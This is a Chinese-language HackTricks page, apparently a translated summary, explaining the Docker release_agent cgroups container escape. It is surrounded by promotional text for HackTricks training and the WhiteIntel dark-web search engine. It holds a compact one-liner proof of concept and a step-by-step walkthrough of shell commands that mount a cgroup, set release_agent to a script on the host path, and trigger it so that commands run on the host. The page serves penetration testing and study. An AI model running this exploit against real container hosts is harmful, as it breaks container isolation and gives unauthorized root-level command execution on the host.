Docker release_agent cgroups escape

从零开始学习AWS黑客技术,成为专家 htARTE(HackTricks AWS Red Team Expert)

其他支持HackTricks的方式:

WhiteIntel 是一个由暗网支持的搜索引擎,提供免费功能,用于检查公司或其客户是否受到窃取恶意软件侵害

WhiteIntel的主要目标是打击由窃取信息恶意软件导致的账户劫持和勒索软件攻击。

您可以访问他们的网站并免费尝试他们的引擎:


有关更多详细信息,请参阅 原始博客文章**。**这只是一个摘要:

原始PoC:

d=`dirname $(ls -x /s*/fs/c*/*/r* |head -n1)`
mkdir -p $d/w;echo 1 >$d/w/notify_on_release
t=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
touch /o; echo $t/c >$d/release_agent;echo "#!/bin/sh
$1 >$t/o" >/c;chmod +x /c;sh -c "echo 0 >$d/w/cgroup.procs";sleep 1;cat /o

Docker逃逸特权升级:release_agent-cgroups逃逸

这个概念验证(PoC)演示了一种利用cgroups的方法,通过创建一个release_agent文件并触发其调用,在容器主机上执行任意命令。以下是涉及的步骤详细说明:

  1. 准备环境:

    • 创建一个目录/tmp/cgrp,用作cgroup的挂载点。

    • 将RDMA cgroup控制器挂载到此目录。如果缺少RDMA控制器,建议使用memory cgroup控制器作为替代方案。

mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
  1. 设置子Cgroup:

  • 在挂载的cgroup目录中创建一个名为"x"的子cgroup。

  • 通过向其notify_on_release文件写入1,为"x" cgroup启用通知。

echo 1 > /tmp/cgrp/x/notify_on_release
  1. 配置释放代理:

  • 从 /etc/mtab 文件中获取容器在主机上的路径。

  • 然后配置 cgroup 的 release_agent 文件,以执行位于获取的主机路径上的名为 /cmd 的脚本。

host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
echo "$host_path/cmd" > /tmp/cgrp/release_agent
  1. 创建和配置/cmd脚本:

  • 在容器内创建/cmd脚本,并配置其执行ps aux命令,将输出重定向到容器中名为/output的文件。指定主机上/output的完整路径。

echo '#!/bin/sh' > /cmd
echo "ps aux > $host_path/output" >> /cmd
chmod a+x /cmd
  1. 触发攻击:

  • 在"x"子cgroup中启动一个进程,然后立即终止。

  • 这将触发release_agent(即/cmd脚本),该脚本在主机上执行ps aux命令,并将输出写入容器内的/output。

sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"

WhiteIntel 是一个由暗网支持的搜索引擎,提供免费功能,用于检查公司或其客户是否受到窃取恶意软件侵害

WhiteIntel 的主要目标是打击由窃取信息恶意软件导致的账户劫持和勒索软件攻击。

您可以访问他们的网站并免费尝试他们的引擎:

从零开始学习 AWS 黑客技术,成为专家 htARTE(HackTricks AWS 红队专家)

支持 HackTricks 的其他方式:

最后更新于